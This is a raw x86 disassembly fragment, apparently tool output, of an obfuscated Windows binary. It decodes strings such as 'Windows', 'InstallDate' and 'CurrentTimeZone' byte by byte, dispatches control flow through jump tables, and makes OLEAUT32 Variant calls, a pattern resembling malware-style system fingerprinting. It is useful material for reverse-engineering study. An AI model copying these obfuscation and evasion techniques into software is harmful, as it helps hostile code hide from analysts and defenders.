mov byte [esp + 0x84], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c166a
and eax, 0x3e9c166a
shl eax, 1
sub ecx, eax
mov byte [esp + 0x85], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
mov ecx, eax
add ecx, 0x3e9c166b
and eax, 0x3e9c166b
shl eax, 1
sub ecx, eax
mov byte [esp + 0x86], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c166c
and eax, 0x3e9c166c
shl eax, 1
sub ecx, eax
mov byte [esp + 0x87], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6d
mov ecx, eax
add ecx, 0x3e9c166d
and eax, 0x3e9c166d
shl eax, 1
sub ecx, eax
mov byte [esp + 0x88], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c166e
and eax, 0x3e9c166e
shl eax, 1
sub ecx, eax
mov byte [esp + 0x89], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c166f
and eax, 0x3e9c166f
shl eax, 1
sub ecx, eax
mov byte [esp + 0x8a], cl
mov dword [esp], 0x3e9c1629
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
add ecx, 0x3e9c1670
and eax, 0x3e9c1670
shl eax, 1
sub ecx, eax
mov byte [esp + 0x8b], cl
mov eax, 0x48
mov byte [esp + eax + 0x44], 0
add eax, 1
cmp eax, 0x4b
jne 0x42c548
mov dword [esp + 0xf8], 0
mov eax, dword [esp + 0xf8]
cmp eax, 0x4b
jae 0x42c5a7
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0xf8]
movzx ecx, byte [esp + ecx + 0x44]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004328e0
mov ecx, dword [esp + 0xf8]
mov byte [esp + ecx + 0x44], al
mov eax, dword [esp + 0xf8]
inc eax
mov dword [esp + 0xf8], eax
jmp 0x42c560
lea eax, [esp + 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov esi, dword [esp + 0x120]
mov ecx, dword [esi]
mov edi, dword [ecx + 0x50]
mov dword [esp + 0x460], 1
mov edx, dword [esp + 0x464]
mov ecx, dword [esp + 0x460]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.00419ba0
mov dword [esp + 0x2d0], 1
mov eax, dword [esp + 0x2d4]
mov ecx, dword [esp + 0x2d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x3c0], 0
mov eax, dword [esp + 0x3c4]
mov ecx, dword [esp + 0x3c0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2a0]
mov ecx, dword [esp + 0x2a4]
mov eax, dword [ecx + eax*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esp + 0x420], eax
mov eax, dword [esp + 0x424]
mov ecx, dword [esp + 0x420]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x338]
mov ecx, dword [esp + 0x33c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x20c]
mov word [eax], dx
mov eax, dword [esp + 0x360]
mov ecx, dword [esp + 0x364]
mov eax, dword [ecx + eax*4]
jmp eax
push ss
pushfd
cli
fmul dword [edx + 0x902484]
add byte [eax], al
mov byte [esp + 0x18c], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x57
xor eax, 0x71
mov byte [esp + 0x94], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x72
mov byte [esp + 0x95], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x51
xor eax, 0x73
mov byte [esp + 0x96], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x74
mov byte [esp + 0x97], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4c
xor eax, 0x75
mov byte [esp + 0x98], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x76
mov byte [esp + 0x99], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x77
mov byte [esp + 0x9a], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x78
mov byte [esp + 0x9b], al
mov eax, 8
mov byte [esp + eax + 0x94], 0
add eax, 1
cmp eax, 0xb
jne 0x42c796
mov dword [esp + 0xf4], 0
mov eax, dword [esp + 0xf4]
cmp eax, 0xb
jae 0x42c7fe
mov eax, dword [esp + 0xf4]
mov ecx, dword [esp + 0xf4]
movzx ecx, byte [esp + ecx + 0x94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004328c0
mov ecx, dword [esp + 0xf4]
mov byte [esp + ecx + 0x94], al
mov eax, dword [esp + 0xf4]
inc eax
mov dword [esp + 0xf4], eax
jmp 0x42c7b1
mov eax, dword [esp + 0x280]
mov ecx, dword [esp + 0x284]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x330], 0
mov eax, dword [esp + 0x334]
mov ecx, dword [esp + 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x90]
mov byte [esp + 0x190], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x57
xor eax, 0x71
mov byte [esp + 0x94], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x72
mov byte [esp + 0x95], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x51
xor eax, 0x73
mov byte [esp + 0x96], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x74
mov byte [esp + 0x97], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x4c
xor eax, 0x75
mov byte [esp + 0x98], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x76
mov byte [esp + 0x99], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x77
mov byte [esp + 0x9a], al
mov dword [esp], 0x6ce62071
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x78
mov byte [esp + 0x9b], al
mov eax, 8
mov byte [esp + eax + 0x94], 0
add eax, 1
cmp eax, 0xb
jne 0x42c940
mov dword [esp + 0xf0], 0
mov eax, dword [esp + 0xf0]
cmp eax, 0xb
jae 0x42c9a8
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
movzx ecx, byte [esp + ecx + 0x94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004328c0
mov ecx, dword [esp + 0xf0]
mov byte [esp + ecx + 0x94], al
mov eax, dword [esp + 0xf0]
inc eax
mov dword [esp + 0xf0], eax
jmp 0x42c95b
mov dword [esp + 0x478], 1
mov eax, dword [esp + 0x47c]
mov ecx, dword [esp + 0x478]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1d8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov edi, eax
mov eax, dword [esp + 0x1d8]
mov ecx, edi
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00429540
mov esi, eax
mov dword [esp + 0x208], esi
add esi, 1
mov dword [esp], esi
call fcn.00409620
mov ecx, ebx
mov ebx, eax
mov dword [ecx], ebx
mov edx, dword [esp + 0x1d8]
shl edi, 1
mov eax, edx
add eax, edi
mov dword [esp + 0x1ec], eax
mov edi, ebx
add edi, esi
mov eax, edi
add eax, 0xffffffff
cmp ebx, eax
jae 0x42ca7a
mov esi, dword [esp + 0x1ec]
test esi, esi
sete al
mov ecx, edx
sub ecx, esi
setb cl
or al, cl
test al, 1
jne 0x42ca4c
jmp 0x42ca7a
mov cx, word [edx]
movzx eax, cx
cmp cx, 0
je 0x42ca7a
add edx, 2
mov ecx, ebx
xor ecx, 0xffffffff
add ecx, edi
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov esi, edx
call fcn.00432750
mov edx, esi
add ebx, eax
jmp 0x42ca28
mov byte [ebx], 0
mov al, byte [esp + 0x174]
mov byte [esp + 0x1a4], al
mov dword [esp], 0xd93f9af5
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x57
xor eax, 0xf5
mov byte [esp + 0x178], al
mov dword [esp], 0xd93f9af5
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
xor eax, 0xf6
mov byte [esp + 0x179], al
mov dword [esp], 0xd93f9af5
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
xor eax, 0xf7
mov byte [esp + 0x17a], al
mov dword [esp], 0xd93f9af5
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x64
xor eax, 0xf8
mov byte [esp + 0x17b], al
mov dword [esp], 0xd93f9af5
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6f
xor eax, 0xf9
mov byte [esp + 0x17c], al
mov dword [esp], 0xd93f9af5
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x77
xor eax, 0xfa
mov byte [esp + 0x17d], al
mov dword [esp], 0xd93f9af5
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x73
xor eax, 0xfb
mov byte [esp + 0x17e], al
mov dword [esp], 0xd93f9af5
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xfc
mov byte [esp + 0x17f], al
mov eax, 8
mov byte [esp + eax + 0x178], 0
add eax, 1
cmp eax, 9
jne 0x42cba5
mov dword [esp + 0x108], 0
mov esi, dword [esp + 0x118]
mov eax, dword [esp + 0x108]
cmp eax, 9
jae 0x42cc14
mov eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x108]
movzx ecx, byte [esp + ecx + 0x178]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432920
mov ecx, dword [esp + 0x108]
mov byte [esp + ecx + 0x178], al
mov eax, dword [esp + 0x108]
inc eax
mov dword [esp + 0x108], eax
jmp 0x42cbc7
mov eax, dword [esi]
lea ecx, [esp + 0x178]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.004191c0
mov edx, dword [esi]
mov ecx, eax
xor ecx, edx
mov esi, edx
not esi
mov edi, eax
and edi, esi
add edi, edi
sub ecx, edi
mov esi, dword [esp + 0x208]
mov edi, esi
add edi, ecx
lea esi, [esi + ecx + 1]
mov ecx, edx
sub ecx, eax
seta cl
lea edi, [eax + edi + 1]
sub edi, edx
seta ch
and cl, ch
test cl, 1
jne 0x42ccd2
mov ecx, esi
shr ecx, 2
mov edi, edx
mov ebx, eax
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov ecx, esi
and ecx, 0xfffffffc
add edx, ecx
add eax, ecx
mov ecx, esi
and ecx, 3
mov dword [esp + 0x1e4], ecx
shr ecx, 1
mov dword [esp + 0x1e8], eax
mov edi, edx
mov ebx, dword [esp + 0x1e8]
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, esi
and ecx, 1
or esi, 2
mov edi, dword [esp + 0x1e4]
xor edi, 1
and esi, edi
add eax, esi
add edx, esi
cmp ecx, 0
je 0x42ccfc
add ecx, 0xffffffff
mov esi, eax
add esi, 1
mov al, byte [eax]
mov edi, edx
add edi, 1
mov byte [edx], al
mov edx, edi
mov eax, esi
jmp 0x42ccb6
mov ecx, esi
xor ecx, 1
mov edi, esi
shl edi, 1
and edi, 0xfffffffc
sub edi, ecx
add edx, edi
add eax, edi
mov ecx, esi
add esi, 0xffffffff
cmp ecx, 0
je 0x42ccfa
mov cl, byte [eax]
mov byte [edx], cl
add edx, 0xffffffff
add eax, 0xffffffff
jmp 0x42cce4
jmp 0x42ccfe
jmp 0x42ccfe
mov eax, dword [esp + 0x418]
mov ecx, dword [esp + 0x41c]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], esi
call fcn.00409630
mov eax, dword [esp + 0x3b8]
mov ecx, dword [esp + 0x3bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x380]
mov ecx, dword [esp + 0x384]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x3a0]
mov ecx, dword [esp + 0x3a4]
mov eax, dword [ecx + eax*4]
jmp eax
call 0x8c3e0dca
test byte [eax + ebx], ah
add al, byte [eax]
add byte [ebx + 0x21c248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov eax, dword [esi]
add eax, 8
mov dword [esp + 0x2c8], 1
mov ecx, dword [esp + 0x2cc]
mov edx, dword [esp + 0x2c8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov dword [esp + 0x110], 0
mov eax, dword [esp + 0x110]
cmp eax, 0x22
jae 0x42cde9
mov eax, dword [esp + 0x110]
mov ecx, dword [esp + 0x110]
movzx ecx, byte [esp + ecx + 0xa4]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432960
mov ecx, dword [esp + 0x110]
mov byte [esp + ecx + 0xa4], al
mov eax, dword [esp + 0x110]
inc eax
mov dword [esp + 0x110], eax
jmp 0x42cd9c
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x4c0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0xa4]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x4c0]
sub cx, 2
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x378], eax
mov eax, dword [esp + 0x37c]
mov ecx, dword [esp + 0x378]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x3f8]
mov ecx, dword [esp + 0x3fc]
mov eax, dword [ecx + eax*4]
jmp eax
das
in al, 0xef
sbb dword [ebx + 0x2302484], ecx
add byte [eax], al
mov ecx, dword [esp + 0x234]
mov eax, dword [ecx + eax*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x490], ecx
mov eax, dword [esp + 0x494]
mov ecx, dword [esp + 0x490]
mov eax, dword [eax + ecx*4]
jmp eax
cmp dword [ebx], 0
setne al
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.00419ba0
mov dword [esp + 0x3f0], 0
mov eax, dword [esp + 0x3f4]
mov ecx, dword [esp + 0x3f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x3e0]
mov ecx, dword [esp + 0x3e4]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], esi
call fcn.00409630
mov eax, dword [esp + 0x238]
mov ecx, dword [esp + 0x23c]
mov eax, dword [ecx + eax*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x440], ecx
mov eax, dword [esp + 0x444]
mov ecx, dword [esp + 0x440]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x118]
jmp eax
lea eax, [esp + 0x1c0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x4b0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0xe4]
mov al, byte [esp + 0x130]
mov byte [esp + 0x1b4], al
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x49
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xc9
and eax, 0x36
or ecx, eax
mov byte [esp + 0x134], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xca
and eax, 0x35
or ecx, eax
mov byte [esp + 0x135], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xcb
and eax, 0x34
or ecx, eax
mov byte [esp + 0x136], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xcc
and eax, 0x33
or ecx, eax
mov byte [esp + 0x137], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x73
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xcd
and eax, 0x32
or ecx, eax
mov byte [esp + 0x138], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xce
and eax, 0x31
or ecx, eax
mov byte [esp + 0x139], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xcf
and eax, 0x30
or ecx, eax
mov byte [esp + 0x13a], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd0
and eax, 0x2f
or ecx, eax
mov byte [esp + 0x13b], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x61
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd1
and eax, 0x2e
or ecx, eax
mov byte [esp + 0x13c], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd2
and eax, 0x2d
or ecx, eax
mov byte [esp + 0x13d], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd3
and eax, 0x2c
or ecx, eax
mov byte [esp + 0x13e], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd4
and eax, 0x2b
or ecx, eax
mov byte [esp + 0x13f], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd5
and eax, 0x2a
or ecx, eax
mov byte [esp + 0x140], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd6
and eax, 0x29
or ecx, eax
mov byte [esp + 0x141], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x44
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd7
and eax, 0x28
or ecx, eax
mov byte [esp + 0x142], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd8
and eax, 0x27
or ecx, eax
mov byte [esp + 0x143], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x61
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd9
and eax, 0x26
or ecx, eax
mov byte [esp + 0x144], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xda
and eax, 0x25
or ecx, eax
mov byte [esp + 0x145], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xdb
and eax, 0x24
or ecx, eax
mov byte [esp + 0x146], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xdc
and eax, 0x23
or ecx, eax
mov byte [esp + 0x147], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xdd
and eax, 0x22
or ecx, eax
mov byte [esp + 0x148], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xde
and eax, 0x21
or ecx, eax
mov byte [esp + 0x149], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xdf
and eax, 0x20
or ecx, eax
mov byte [esp + 0x14a], cl
mov dword [esp], 0x7fbb7ec9
mov dword [esp + 4], 5
call fcn.004196a0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xe0
and eax, 0x1f
or ecx, eax
mov byte [esp + 0x14b], cl
mov eax, 0x18
mov byte [esp + eax + 0x134], 0
add eax, 1
cmp eax, 0x1c
jne 0x42d393
mov dword [esp + 0x114], 0
mov eax, dword [esp + 0x114]
cmp eax, 0x1c
jae 0x42d3fb
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x114]
movzx ecx, byte [esp + ecx + 0x134]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004329a0
mov ecx, dword [esp + 0x114]
mov byte [esp + ecx + 0x134], al
mov eax, dword [esp + 0x114]
inc eax
mov dword [esp + 0x114], eax
jmp 0x42d3ae
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x4b0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x134]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x4b0]
sub cx, 8
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x358], eax
mov eax, dword [esp + 0x35c]
mov ecx, dword [esp + 0x358]
mov eax, dword [eax + ecx*4]
jmp eax
mov esi, dword [esp + 0x120]
mov eax, dword [esp + 0x2d8]
mov ecx, dword [esp + 0x2dc]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x24]
mov byte [esp + 0x1b0], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x43
xor eax, 0x97
mov byte [esp + 0xa4], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x98
mov byte [esp + 0xa5], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x75
xor eax, 0x99
mov byte [esp + 0xa6], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x9a
mov byte [esp + 0xa7], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x72
xor eax, 0x9b
mov byte [esp + 0xa8], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x9c
mov byte [esp + 0xa9], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x72
xor eax, 0x9d
mov byte [esp + 0xaa], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0x9e
mov byte [esp + 0xab], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
xor eax, 0x9f
mov byte [esp + 0xac], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa0
mov byte [esp + 0xad], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
xor eax, 0xa1
mov byte [esp + 0xae], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa2
mov byte [esp + 0xaf], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
xor eax, 0xa3
mov byte [esp + 0xb0], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa4
mov byte [esp + 0xb1], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x54
xor eax, 0xa5
mov byte [esp + 0xb2], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa6
mov byte [esp + 0xb3], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
xor eax, 0xa7
mov byte [esp + 0xb4], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xa8
mov byte [esp + 0xb5], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6d
xor eax, 0xa9
mov byte [esp + 0xb6], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xaa
mov byte [esp + 0xb7], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
xor eax, 0xab
mov byte [esp + 0xb8], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xac
mov byte [esp + 0xb9], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x5a
xor eax, 0xad
mov byte [esp + 0xba], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xae
mov byte [esp + 0xbb], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6f
xor eax, 0xaf
mov byte [esp + 0xbc], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb0
mov byte [esp + 0xbd], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6e
xor eax, 0xb1
mov byte [esp + 0xbe], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb2
mov byte [esp + 0xbf], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x65
xor eax, 0xb3
mov byte [esp + 0xc0], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb4
mov byte [esp + 0xc1], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb5
mov byte [esp + 0xc2], al
mov dword [esp], 0xf3234497
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xb6
mov byte [esp + 0xc3], al
mov eax, 0x20
mov byte [esp + eax + 0xa4], 0
add eax, 1
cmp eax, 0x22
jne 0x42d8c0
mov dword [esp + 0x388], 0
mov eax, dword [esp + 0x38c]
mov ecx, dword [esp + 0x388]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov dword [esp + 0x3e8], 0
mov eax, dword [esp + 0x3ec]
mov ecx, dword [esp + 0x3e8]
mov eax, dword [eax + ecx*4]
jmp eax
lea eax, [esp + 0x1d0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0xe4]
mov al, byte [esp + 0x28]
mov byte [esp + 0x19c], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x43
xor eax, 0xcf
mov byte [esp + 0x2c], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd0
mov byte [esp + 0x2d], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x61
xor eax, 0xd1
mov byte [esp + 0x2e], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd2
mov byte [esp + 0x2f], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x70
xor eax, 0xd3
mov byte [esp + 0x30], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd4
mov byte [esp + 0x31], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x74
xor eax, 0xd5
mov byte [esp + 0x32], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd6
mov byte [esp + 0x33], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x69
xor eax, 0xd7
mov byte [esp + 0x34], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
xor eax, 0xd8
mov byte [esp + 0x35], al
mov dword [esp], 0x81d3dbcf
mov dword [esp + 4], 5
call fcn.004196a0
add eax, 0x6f
xor eax, 0xd9
